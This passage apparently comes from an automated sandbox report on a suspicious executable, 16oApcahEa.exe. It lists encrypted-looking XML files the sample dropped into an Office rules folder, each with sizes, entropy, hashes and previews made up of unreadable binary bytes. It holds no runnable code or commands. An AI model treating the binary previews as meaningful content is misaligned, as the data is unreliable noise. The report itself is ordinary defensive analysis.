Preview:	<?xml.......E./.I.m...g.?.R..x...7(.V.'.J.x.[..^UL.]..~.g..5\O..u.>..=9..s1Y..........$\|7.O.#n..6....Y.i/...6~.I.z..^v........lZ....}4.fG6.R..~k.EEV.n}..;...{...O..A...xt.R.Z.+.0..[;...u....G....).sC.........JM..6..@3Gm......:.n\|Q.A......i....m..{u..M@,6..6.KKC......!..........-}.9O....#..,sE#......:....X........j..&F......"o.... .....2..}.@...?....9...!.\...I6...K.B4/...rE.)n.7...I..`...-. ...}.Zq.$.Ud.U..c.........)..O...wT.i....l.....n.7...\|]...h\|.G..r.ZU.4a..;`...,........-..lyo..,.0<...$a....>N..u...._../.m!..3J(.'.....`.V..wA.gQ..=.#49sF%aYl....k"~(P.b[Z...Z..{..M0a.p.J.P.(V.'D.l1......B.zW.p6.L.P...-.a./...o-.mq.{K.y...I.p.2..lLJX.C8.)...lw.y......1.,....RLL.R..Y+6za..z..../>bA.G.eV).CP.....'P:..-5....S....e.xH.h..z..#..`w.n3.$..H.D.r%....t.(..a...jP..*^F..8t..R..8m.A.U.;..B............)........o.[..Q.7..?.....@F.....X^..1.PU6.m....Qk;;.....\..R....)....=X.wT.. ........1V^.vsN.w...6...... m...B...Xx.r.d.P....#4...8.(.2U...T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.974835505293412
Encrypted:	false
SSDEEP:	96:Yo3qs076P6TrL2itHnycisOlDSKDSScysQ09Go1UC2TvNQByXkehkX1jwqhO3JPN:YR6emvgYSDyRo1t2TlhkJl4B31DzT
MD5:	38D83D16A7242DCBFC520A61C59FB656
SHA1:	A845CAAC194C22D73B59E1BF293FFBA1CDA3EB73
SHA-256:	CCB7CDEEF8F9A25E55C75C2F5A3E24A0BE300D8292359DA1CBBA42B8B6DC930A
SHA-512:	BDCD62129EF583D9C1D77A2BDA6154A3DE409C671B56B51B8491CC2F8D9547A12860858CCE120A7EDBA0D634ECA58D4B28D85003CA8759F244EE90EE099425FB
Malicious:	false
Preview:	<?xml.^y:~dj...../.......5>:.1[..._.Cujvx.D..9....W...!.......4Q.v...>..h..b'......#.#t7_......J.5..:?\|.Ghj...'D...3Vi.9#@.^..\.;I...`g4.<.....C..:.Lh...{5.I$.#m..............P...T.kz.......&.^.a'....LX2.i$.X...j..x.)N.L..._...by...3....@.6_...6hG_....B.....J..Z... }nj.3...C.......[..F......B.<$nW.kP....9....[...TT..]=...aH....$.cy.........9H.....F...6]"?z..+.....on."..UYx.AK...Q.L.....h..~.-..%.{r....B@.f@."..!lw.....\W.r.........9..o.g-F..Z..q..\|...F]...N....[f[.v.it.2b......w..x....x%p ..f..92V`..L.4i...K.....gfc....2..v...C.Vq.*.WQ(...J..s......3..7dI.4...E....`K.v.,\|g.....m7.C.'U...r.f7.px...\.`.,....,T+.%W...o.Q..}..Q.......Q...K....b...3......@....GL.I_.......x.~..b....7..T...8.....x.......\|.6..=./..u_.W_...}.\.~...ge.b.._u1..8......1i..).Rd.'.....K..QY....Q.!...a....H.D...^...mhv..C...3N..&..........~.E,,.i.C..:QQ.Y....\............v.%.;.a......lq.....`.v.0y.......%...\L...I..R^PL$...T.q..^..v.N.or..Wq...L...J@z`.~7......c.=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.6705569967474725
Encrypted:	false
SSDEEP:	12:4m9ITOaET+76SUeDKQHWo4F/xXTo26U/BR7we3eg0QVQglVBxfuLFQoiz30cgtNE:4mY4T+7XHxWthVHZTYJIxfuOuftNM9pX
MD5:	F4507ABE9D43846B7EA5819A4CD2A607
SHA1:	95E31096FD9E0EA2F964A5329C95E4F831DAD082
SHA-256:	C143D31881B0CDA47F9DA8EF28012AB3AB05ED1BB4836C6162627E99A440B40B
SHA-512:	ECE10292FC3FAC445DCAC24B1D65B7086A6E1111869905100698A2E63BCC353CD99834CA27136EBD86EC0EE1DBB22CFE646C51C856976BD5D1AC249E2420068B
Malicious:	false
Preview:	<?xml.....?0S..f....>..{..W....)C..h..p-eC.12.....2...D...V.y....QXo....".L..;oW....... ...\./g<..k....#...'@.....0wJEl.@......{....f.....%.K.......V.....:.#...;..N..l~F\.9.. ..a,...U.<.,..h<..N.u.... ..?.x.D...E._a...g['..a.S.s._...lrR.yQ`=c.N.M<tP5d{l..Vo.s[....K.S.DRcH@.....{?..,..1...e.b.#.%.k..<..Y.1.Y....+......m...;....'+...............XmZ+i.x....0CL..a.F.......p#W.H....J2.?..2E.p.\|....=......7.....X...{.b.f...4..+.8....5j.`.u....]..d.wO7.p05k....8^4Ku..2....Dc......_bd.E......A..`.N..V..u.......+c.e..j..w..bY...b......d.....^2<.O._^"...k<.-M...VnT-...\r...M<5.......MB..Ec..-%.."m.0...a.{.^.b...Gr.q..7;...W.=..~5...(...?.=,...IxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.862378773227447
Encrypted:	false
SSDEEP:	24:236ux56thfH3j9rU3BnxxJara5Wk/Hlq8875TUAnmT2Y3T/EyG4mSYD1C6iPJ3TX:Hux5k5H3UxxQiW0FJS42Z4m3YvJD
MD5:	3DA2626168B4E2174330356DC486B4BC
SHA1:	B24117D4F1D0F0BC33F6985EFFDB9D72F566B6FC
SHA-256:	CF4F9F9F5F8423F5AA64CF043AF46CD4AC6E42F17D5A9F32B9A2DD6AEF6A5DAC
SHA-512:	B11AB9601FAD374B99D810A5F7BCA2F01CDC581F2C4FC1ADF395398621A589C7E727C5209DDCAEEBAF4E6242A79D09813F7F901001DECC1FE18B4F060BB88815
Malicious:	false
Preview:	<?xml.DU.'.Ak....4I.<....g.2R.z...Ch[=..F..>U.O.N...7.k....r?6,.F.mR...?.eG.6.J=..R..'.K.<z.C.yj/.8r.....;....p5.H.E3..u].......Q%L~.I...c.15/...[..0d5Eh...-6..-o...>..a?..j..j.O....z@.S.ma.9'.......R.5L)..R..5Qu.2.....-.!y=2/...J.@.=+.I.v.....K......7..H.yp...V....n......N.-M............4] %..^".....%..#..z;7Wj.v._.\@.TI:.!....M..#.A%..J...Q...,l8.R..v../...B..zM......]V.q .b.[....JM.]...2..AI.-Z...Y.#..w..H...t....'...L..C..y>.c]tH.......7_"......w.&.......]t.....L.Kr..>.(..[..#N..j...k...sb}...Y..LA...._J.;....F.2..L..e.!$.H...,C.V..=3.E.B.........#......R....P.h.qP...j.rX.m...C..5}X..i./...z.p~.....`.Pb?..kW...x.+~....&..k.(.......z.V....."....x[ns....m!N...m..i.^G..?...*......Nu..~G...L.5..`......q0l.,.....{..[.H...m..dJ...K.n;sn@.RO.yt.{..6J....M.1>P{........K:.I.$M.fde...3s....S.w....8{D.[..wR..+R}.y....?....uM.(+..n......z..S.s...n.{..n. .kmd.E.Ga....\|..{o.Z....1.k........H...+5.>6gx-.Z..Y.H..S..:fSN.x&...k..&~e.YhA..k0.i.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.946281252511463
Encrypted:	false
SSDEEP:	48:MLYRuP3NJZdd62pamXxeQDAeSlcP7PdHjgtz1SJoM41QiPB6yXm6LRLmrwafmjJh:MLYRuZ2ixzsMDP2tZ+oM41Q4x26Vdjb
MD5:	400AD3540BD77F9D97257F9D05E5CAD0
SHA1:	B24C412141AB532A1BD4E9104ECAFB0E2874DC30
SHA-256:	C5E3C241AF7C8859CB415FB996D20380799C6ED83498C441964C3FCCB2292A33
SHA-512:	04A0EDFD33C0B11AAF2D545DA2A84522744839853503160BF4B1E33119A6D029BC9EB01A36C66D7F29CC2D4161A7B4F0F1E6DA0ECF8D95DBBA5D714D7F999EBE
Malicious:	false
Preview:	<?xml.t~....".B&zUb..!=._..#{....o>E.].y...?1}.o.. )....^N...]6..Y._........(?....g...,e..l#.0..Q..:.~n.._&?.s....A#.2dL-H2..Jht.M8.>..z...}...T.]/..7...w.2$\|...T.dN....."<.z..r3.\...A,...d?..?.........F/H_uc..h..:o!...3.x...o\..:.2xs.,a.....[..E..U#.k.......r[.'{.8..r....^...K.ge......U.yN89...D..s..{;h....t.f..A.f..R?.....y.....<.^....o_.+O..v..f......q+8.......$'.......T.......g...?.2...&.{.\`..B.Q.\|9.D R.w....L.K..k?....&......!......8.f..3.0..q...R.\|.:H. .\|o.....3.tWv..3..wc..k......,.}.O.(.D.^...7.u\!......k..Pb....uOk.....j...e..uy?.....x.;YOi+z^.".% ..~.%.L.T......$b.7.........p.Q.".r.c....?.$.pX/.a\r...mo.....(D....x..gR...J..d.l.Y......CH.1\|...:.{#....U..}..x..y.....\|...l..1O8....~...9.R...z.....,.x.a..Q..........C.8BX..BLF....V..p.4.L........#...RV....3.............. 8[.<.a.#........#...P.6p5f..13...?...[W..6.\|..@T..z.6.3.....X!..v....y1.....Mn..................Z.`@..1........BS...>c.Y1`.tZ75...{..7....q..}9.4./..Y.%.1f.....}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.776271150179857
Encrypted:	false
SSDEEP:	24:r6A4gQMIRAajJXy8qFbU0z1upE9vW2fHEPlZ13er4GAeC9pbD:IgQM4pXyDmEupE//cSA/JD
MD5:	23CF7D963527F9AD1367AE1A0CFBC6C8
SHA1:	D52D62BA3EC16D15EA4FCC1F01A8C4A162B93CC6
SHA-256:	995C53B61BF2F6D499BCA86C5798BC2B91F0F1ECDCF503CE0A6698DAAE5F72BD
SHA-512:	8088B572ABE5DE400F1F05576D25E9C4A9A9023C2E83E40A1C6ADD13DA5FE7BCA9069EB08479CE59A2D035FE7841914E8FF4079C1002695CBC7939B8324D4CF2
Malicious:	false
Preview:	<?xml.n[%..u..V....y.."w..7P.G.i.}......V'< Xi.sbW.=..'n.....n.G.xa@...aGf.vv).z.Ut...6...&z..w......u...KQ...2]q&...GGg.Q..1<.LV.#'.(..8#......}.brju...F.zN?z.H]....En.la....:...6."....Y.B..L.0...!..=,......A.k...wX.?.A.L.....NM...f.....x"...3 ..4..a.<.#..;..gMx.Q./...\\/.r...E....H.m7O...j......9k9\|...-.a..v..%.'.9/$e...K.!..0..j.S".Hc......LU.....:.)[.....LY........@.H....N .........P..'D.a.I.y......Rp ;j......;.....e.....}...Mv......F........,....m....6......0...UM.L...Q. ..\|3..G.\|W..(...~~..=.U.v[#QW...zW.T.VIj.3..m].F.@Z.5lt.v..!.Z.qL.\|...WU&+F.....@...fW..+.#Q%..M.tF....u`.....<....K..H.i.".tD.......N$s.......<]A.j_...J.U.....C8T4.wQ...9...l74NK~........O.2(.0/x..2.\..6.P.D"..g..:..#..5..2..wh!..h\|.8..../.Sk(.L.`...$zv..0.u.l.L<.....#.M.._....n...K...rE.{C.....i.....5..o.*..^_..@..&.....";B.=...c.Jf........Y../}......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.940396024624279
Encrypted:	false
SSDEEP:	48:Vjw/wuvPkY3XjXi/VEgv2VQdt66usnGwOXCr6SDs+BSQhBJuqEnfIkdoE9ODQ30E:dw//Eqjy/xjusnGXSr6YfpwJiqcRE
MD5:	DDBEE1B0BFAEF58380818F8B0CD6CDD8
SHA1:	D8572E9A2F46DA9B7239F154F869721AF0341B12
SHA-256:	5B1EF6827BC1AE13878A5DE5ECF9BBA75E76E940DB03B02A3A65E81E8D55D67B
SHA-512:	BB5073411869E8EA2B3E3BA7C82E66F522FF39D4430EB9523F49CA3B3146EEE51D1968AFC4BE4F629DBF22AB5D29ACC0FDDE5996196618F6AE29EE887450726E
Malicious:	false
Preview:	<?xml.w.p.....&.!N....z.P....E.pY7Noro../\f.mm.r"W.....Vi..".c..........,.h.....P.M5.h.V..^.W...g...x.m.^.....-.../.e..+%.x.S.......)o..5...&p..4...n.p.{....-..+S............S......~.4.~.p.._.jmA:W..p....Ul.[x..D.}...5..d...%x..c.G<.../......+.Y..@....%1\|T...UV`..Y.w..\.._j....g.`...........\|$p(m%..:=y.3...S&.5......s.$Z....Z.._q..[b..K.Fa..xC....w^,a..Byi..i..-3.%.+.....32I....b).Arx.Ra...<"..E..v.5/..... T...a7.a........O{....(&.._...}...@...f'.._.G....f:..c.%.7-_r..q.8...L..k..x..:..GM.T...Z....F......b..'U.O_.._..>..........<(.5..Y.U.L..=...$...._..FNCd.?5.6....O.d.=./Z....X...(....w?O2...2.....a%...^\..,.b.....9..^J'...:.?WfY..x. ....j...f(hQ.m.......w.r..v...$lbW4....Y.\Q.d..$... ..?..qd.....3Yy.S..+.Xzj.G..*..ln.c..D}x=s.........2.7....=.\tS?(.Kp.9.L.....G<........5'..b.. J....... v..#.C....)..R..1...Sa._.&...RnO%4..F..<.E."...".z.....!`+(E...FXk....t.._.s<..W5.1:.@._....1E"37.....S_. k.rTo.Sq....O.\..9.i. .M....`.u-VW.q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.922337425392411
Encrypted:	false
SSDEEP:	48:rChMI+0LjLXrg1lBw0EXP7mErugr3Zlv+m/zhYDrIiajTDM1UnN55NJD:rC+I+SHg1HwnXtrTrrG2zsrIiCTDsUnB
MD5:	19F30376C95A9EFCBC1933087C534F62
SHA1:	2758B610BE8F779AEB5777929129C4846A74AC87
SHA-256:	4079F816F6C8491EA70CB29140720B7CCBB116A7583F33D7A3F9908ABC0F2755
SHA-512:	5F34A0E2712AFE435B0AFD5A4B074F2E0B387AAF1EDCEA6F108E29ED0382781ED63D02936CDF7652D2CD66DED55D697235B26C25B23F9A6EF6EA5A3D94AF8DFA
Malicious:	false
Preview:	<?xml8.`..O...>..X.. pO....#!A.....a..~#OW.....C...}$....W?e:.Y.p....4...Xx...`j=.<D?p:?.=...$..FUC^..."\|]q...'.E............d.%..=on...c"..../...y.w.B....@..........s......+.......I...S.....`.....-.. #....&gl}ur.gu.V...@....V..iV.Mb..G..$V...;..&....m.$....8T..'...$....~. ..F.B.._..=.o6.94...:N.jQ..F..h........7'..r...A....0.<.X^...3.5...%..TZ.....f.........xJJ..Fc.}t..i. .b.P...f.D...,(+?.....Z...%5k.#.3..G.D....s..p.r.....Fr....._..8gO..........F.U....,\.V..qE&..8...S.,.....+.b.ig.....F.@.CA;.d..VE.MT..1.#..di#.......E...vx..i.....X.dY.?...0....._...,.^9a^.5.....$x..i..<...<]k.....sit1..o..V.......f,.O.....6.@.1.....[N6d.a@...~Q.R....k.Le.[f...$..,...#N.F.&2.lq..+...3..a..........4.....0..II0......Z...>.zq...t..\.k@.x~VR.\|.....he..f}..4.M...lr....J0o.L3..VJcko.....>...J....\u.........%..;...6-..N..7=....MX...(.../.I....e.x?..0i.z..4.6-%g..m.c.&..g8>e.aD.I.+..W......sTu.-..&..s...D......d.u......x.cn...C'..u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.945649605561424
Encrypted:	false
SSDEEP:	96:6E9wlb+p/7400U8QQGS89oU9T7vu3lyvuVzMf7G:Dcb+pz400xuPT7mQnf7G
MD5:	2F378331111A4C9F95FAE71B42A5D487
SHA1:	F91A9F24118D6827605522B0D892F53332CF1FB6
SHA-256:	A9F8807D623D4158318DB58F4552C29C2601B1F99EA5699BE7A6A5CDFCE0C3F8
SHA-512:	6D17CFEEC2982117FDCF5997DC16FBC639EBF168FC3F2B5C38DEE77D502017AD90DBE832937EA0475B8E520F15BF0E7A2877C8C12D340E04C47CAF3FAAAAB426
Malicious:	false
Preview:	<?xml........]2.y..$&.d...b..7w...!N]./s...@.R..;..}[..<.....M..7GZ{K.)Y..(...Y(2...+....B.0..G.qMf....,l...Nb^K....C%.I]Z....&.%.dG..&].L.......4.=:..oU5...`......4..?l.ugX.c..Z_P.>...cD...9.^.........-...T......9....2s..U..J.....:v..9.......0..x...l>...r.W..+LI.<.....B~.......H..15..>.\..\|...Nr.F1..i..c......J........8.....\..8SW.O..l.H...0..^'K.@......#...R...!ug......6d.]...`$.R.......1...q.\....v.......T..h/ub....a.U..Jh..%.w3.[.m.o>HD....4.>.-.=.4..#....b..d..\...#U...S^.f3...>.~...`.'".fq)e.=.t.c.b...\..U.=M..0......3..O.LG...O.....L..}a.?6.#.4.M.z.o.-e.p..k.g.\|.....%..d..:G.....%.......B.4..`.T,.N...&GSg{9..X....pCw}..X.........wL.....o}..tx;......dJaS..UK.}..7.....O.[..GV.Z.b..7.J.m+..O...?.......Ck.9v:.vC.=..V...E..Q.%.h...2:.>....{~.x-.S.nE..+m.q.zh.bA.d.<..^L..........2....y..>.js.......v..].0../..Q\B....~.,5.Su+u.J{...9G....~...........l0.w.p...6....K0.x~s..d.......$.A.N%...U!.\.4...8...L.;........z.).....;.)(....../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964398915753068
Encrypted:	false
SSDEEP:	96:BHb0mZDx8wALQ6tQeLi/7be9Ctsj/eYZzw+RK1JOF52cGTF2:BHb0mwLQ6Oeuj69cszeYZ0+RKzO/VGTw
MD5:	31C48D33978BBF4545142EAAB687DA9B
SHA1:	593503638F624F9C1F601129B11AEF9D7A03821A
SHA-256:	E5FBA1427937322A35E7D9C305BAC4BD9E7D450F08982FCE9AB723FA43D4CF69
SHA-512:	4B291315B78BDE82F256003D09841396BACF8E8678649102BA46B1CA4DBF98724AA3AB3C3CAF3BB8A28C4977447FD5B7AA702E9FA3497302BEA9ED325456CA97
Malicious:	false
Preview:	<?xmlG.1..5E...../...oZ..@..z_.f8}..O@._yu..o.b..l...7;H.bB...6V5..$.!.....s.>.......(............F..V.......B...d).s$..i....<.d..O.IJ.t!{)...u....G.G....PIa...n.r...".............'$.O%iQ...)g.).l..i.......4$K2H`...\.M-../.../..u...c1.V....r..mf...J.....{,.'.p:..t..R.].C.J.@....f0 .N+. 0.7.....).c.1M.'..9.2..-9B ..z....u...l...:...E...@..,.x..n..E.@.nw&....5.L....3.\|8p...S...AH.M/..%....L..3....A....d...2.O.B(<S...(...+..V...3.....y.Ca&.eq[......kB...x..L.....@>@..A...........s..Z...K...S..>.....Y..!.X..Q.U.L.P.....>E.cg.A.Q.Lw\t.H}...X...Z_...G....,....s.T.y..h1n?...B3_...Ol.0^:Zf.,"U.6).D...x.....a).B..z.2..X(e..;]..v.S.kL.k;\......jz.......4..Rj3..Z.{.S.1&G.d....'.!N.S0...-........u(.......8lI.2..q...W8pD......=..[....Y2...I`Tm..41......".o8>......(t"3;....N?A.x.....$+...Dp/fm4J+...J...D ........D..-..i..\|..t.....&.....D{..h8..Pdp..jc..H..q.)....=O.c..E.C.SN...\|.ZR.5...2.t...H.N.._.ZZ...Q.H.a../...j..O..P......1.d.idr.kJ.H.&f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.977474620012622
Encrypted:	false
SSDEEP:	192:c9jXIE24sOqjwbvXULoSO1JiyjKu+UFB9jm:c9j4ET1qgvXU8dFjKuL9y
MD5:	0C89A1789F1CDE9080F426D727DF2B9E
SHA1:	5277EDAB76A7C09AEB6E838D8B2F82EC78F10B03
SHA-256:	2293E49622943B377C4C48B49250A5C14A13D3E29DA9460D249283962D3E23D3
SHA-512:	54DDCACA7F23546DC324820A4DA6A2691A9AED6B4F6E512B647AFB3CCB27E0B420CCD0D7DE1DDFD1436DF3011EB9227B44549142EFA0233C716863C3488F3CF7
Malicious:	false
Preview:	<?xml=....D..ou....N...R..K..i.aC1M1....(n.:J.V_Z7........\M...\..s...?...;=[..;.......w.4...(..../y.^q.....T.L.K4.v>L.l -m.q..?....f..>^...O\..!.......Gk.`....ii.R...,.G..;.R=.9...........i.?..=4ZY5.X....3..Pz.B.f..9..C...tz...Q.D..f.j.[.7....0......wo.x..=......C.6.IhY..uF.{....3.h.YM...-.9Ri.L9b.q.:...[......M.....j.....K.....N+.u.b.b..F.Ss....8.C5..Em.....jt....[D.X....g....ls.. /"q.L.L:.%m..}...\...L.lnR...:.v.h@.w.x...;.k..D/..'I.x..h..U-kj..zZC.{.&.@e....g\|.{......9>rh...Q....qS8.']j...T_.`..3...g..~.....=...eE.....r...D.,.jBi..Q..=./]G..T..oLr....3/.....&.H.....<SH].)7.Z..R../....7...Rom.z..yc...t.V..m..#..7.T..2.a~....p..[.,...~.....bW.ZX...L...;2..fX..(..;..\|f.\|.y..k.....2.Q..>3...@O[.....9q..d.t.4..>..bpE).S.....=.6.B.8.........9.o.R......\....;_..t.<.A5...G<;.{.5d.].g.W..G...!.E"...}o..<.V....a..\'=..lI...2.9F.m..D;.B.t..i.(`....t6j]i.1!...\..,...V....Qpk.ao...P.3<@.....s).....Z8..#.A~..K%R")."..0U..Wl.j.@..Q.."..}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.974501593027009
Encrypted:	false
SSDEEP:	192:nSL0Q96jo8v0ppDu9nCP/X5wmhpjhLdqquu9LQyHVe3+3:nSL0Fz0plu9nCnKEdqquu9r1a+3
MD5:	3B84A4551D25E6F1753C1DC6CFB52B96
SHA1:	9930878416B89B35E5B8FCFF6BDF2509B3D892F8
SHA-256:	56B495528D3F1E239AA874F230A993AA986112D8F8DEA0EF3510002013482623
SHA-512:	7C91FC8264EDF686EEF5A920B50E0F6FED922A04E417A84BABB1965C065C9D167E52F47EA9FAB45A664B7382AD3211CE5664EE5596FCDBBB04F824A74F351F3E
Malicious:	false
Preview:	<?xml=&.veC$l.i..?..p...<Q.#.M(..R;.:.t}.H...SA..../0..aR..8...\|.;....#.......{.v...V.,...T...E..Ht..=66..j_/..<;...[.v..&..!"&........5..'5...q.....MSrj.k..(c9....d.gDu.]..0.w.........o@.....W.6~.%.iE.3Hg..c...&.t.}....;...4.".2F....O..A'.-.q..u.......?Q..EC..E,A..4Y5^._/#.y..6..9..Zy..).a....N.z....$ .#.0.f.3..<....K[TE..).`....../.A.Q.O..Kecc.e.`(...}s&.....t}.~,F..lb.\...{H..BA]....J../.....;........TA+h...D....(..{.,/...`d-..0Y..A....$.......f..hhc.U. .....MKzV.............D...AD.v...V`F....+b..D.....q.gF+A.((h....D..~.W.4.b..jKH.M."..`.:..'.U-.R.....x...'..}.p...~.1...;...f.....m...D.C....A.T+.-Zm.Ux...&2.?f........}U}i.TF\|..?..%..6......o...n...V4...MGN...=.C.\.M.........U.=/.......0..u...f.+C...c..T.1.".tE...../.).:.8..a..)+.{.&\|X.]0./.....q.GwH.l.......[.\DH.p..m!n.*.y..B.~..iW..J.n...4.y.g..\|..X..../..x.@N.H..h.Z...s.R..QwTRx..-,0J..Jq.G)7(.............y.v+.....w....r.Y........`.O..2Zv..C/...K....fI...e{g.n......?I.n.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.874341409910852
Encrypted:	false
SSDEEP:	48:VoRCEWQRabK9+ETcx/0XcmHCTBlKMS4t6BJD:VoRV4eYkcx/0Xeft6T
MD5:	2743B327129C4AD60D247A0F3DB5EA1D
SHA1:	A8DCF251C784B0DD2653E48946E2435D164B3F6C
SHA-256:	C1FE9DF40190B3A0EFFA5AB713785B1C2B3F663074A536E7DC16D4C0692C7278
SHA-512:	09634E752627E709ACB08B6ACFA8B16D5E2706BC21945A5A8B3112ECC12C592AB919C018D23DB531BCAB60BBCA55609396FA3CBAF5788BABFFD0BDD9731B6463
Malicious:	false
Preview:	<?xml.R..~..w.b.s.W._&.<.0.._9.l6=..z-[...>.d..~.........uT-h..h .w...t4?O{{.._.~........c..5`./3^.Tw.m...2....j..I.aA..w.Y.Y..G..t.%....../.....6..V?IRL.Z.1nd.$t.m....n.~..S.l&y)....J..W.4X......_....D.n..[H.u.d..V7..Dg.D..,.......e...?..LP.O.)>M.Q.'..N......Q/I....&.'&`c...O\|^o.;...?.`z=...Jf.O..4.i@.uf.F....wd....Albs.W.)....g...........1..Q.Eu.>.l..JS....aa[..d.\|..K.........OL....%U....{B.g:...KM..%`.....o."dJuvo...Ep..u9+..w.....y...N...qif\..].*.........e..@p.f......+........g..tXE.Q...O..:.J=j.>]`..mum.z.o...=B....5`t'n.f.......o..~...%'.l.D.q.%3W~..e..({.H/.Bz.....e.......LV.{D....=y.X6.rvc,......._$ZM?:'....\..Z..#..CQ..5........4..'S.l.......$$.o.~ [z..Q6.p.uW=.............)..vW.......>......,i.l>...'&y.....wc.sT.3..C..1A..X..A.,........r.o...\.I..g.<.W......y.......E...d..!.....&.=P.p..0.....U.^..i.............WEj....g....QW.r[...i....zg..kJ......y..C.s{.}5.._.wz.....p..O.....0..!M...A.:KxF..lQ.e..K\..G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.878341085368341
Encrypted:	false
SSDEEP:	48:p/4FoFBwgoQWQjmFroqdEP0B6COToln1B8J6RJD:t4FuwVoTMwIOo
MD5:	6467576985DEAE9AE9578F401A7D1DA2
SHA1:	703DE1C192536E64DC597B730ABE97EA840ABF34
SHA-256:	355805248F967045A1892D2DB28F569E8147D20F6C34D5E5DC6269DF0A506CC9
SHA-512:	F3D997298F696EAFE8045743997043EED3DAFE0F5E74BB916F6834F3035ACD2B0BFFF673F522F3AE3809EF762CA90E1DCCFEB4A671495C092D2014B13F26E016
Malicious:	false
Preview:	<?xml.5.I.n.V.u...Q'....9...J.N....G\|..6j.i......+Pw.f....`.~5...U/.Qk.6.y3U.....P...y.E.)\...?`a.5x....OE.:..D..I..1.?..4f..%3..\|'..0..rJ}.......V#.n..(.a...R.g..@..j.J\..l{.....t.B.+UH...z.+S..J..A..L V.(..+>.v.HA......^.0g.&..U...nV..N..u=....s.>.Qs_O....O:.V.L..=$......+.G..H...lX..<...j.k.)..z...)p.L.@....1...B'..#..[....P.~.41Ez.@..wf......s....Z%#FN..{~.$Q.......>P.@.........(......pPC.N..pE~Z.]......$-m..%Dd.z.@..9Q..._..'_Hu..F.H......b.W..z............H.)".........p...].py..Ip..H.W..:..Eev.....2....)3.v.Zx{N.p.B..R.....[..C=..T.L...d..-...+wu.gi\8.j..f...g\..R.3..n....J.8.X..H...g.s.0yL...t...t.CP..q.]T...O/..M{..6...*....X.R..v.]ii.:.s..?K.Q...........~LK....R...J...Ra..r...<.4..Zz...,.Y@.6=.4.XT$._T.W.VC+%..1..S..^.F...X.._.B=.AB.p/.....I.y.=?..e......%C...{.&&.OAvl...8WG..m.....1j.'V.....z...[....2....a`.....g.;.7c.1..y...&..9..Y..m\|..w.....6....Ilff..,.Qg..0./....0..<%lC..>......wK9IqH...._.8.B..E..dw...a1N..q.&u.....wl... Q.>aT.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.886194481701122
Encrypted:	false
SSDEEP:	48:Hq2jPzU6UAi3gB6t5VOie0AlJddXx6nFbJk/6Q4JD:HLzSAvB6XVOPJddXx6xe6z
MD5:	20B751975EA5F9509A2A51374E8A4588
SHA1:	07DE5230AB19C839B4C86B57E36CA3D7ABE711A0
SHA-256:	F98CA5735F997049D9F7F5767D53085F7DC42E8510DB0FEEDCC0B25C11F929C9
SHA-512:	CD1998BF4B467418B8E5B9355A81303CE387C12E3FD414D63A89301177332CF1E690EA61980593059F24E79BC9AEB9A1009CD006A4FD3863A24CF05616C0A8EF
Malicious:	false
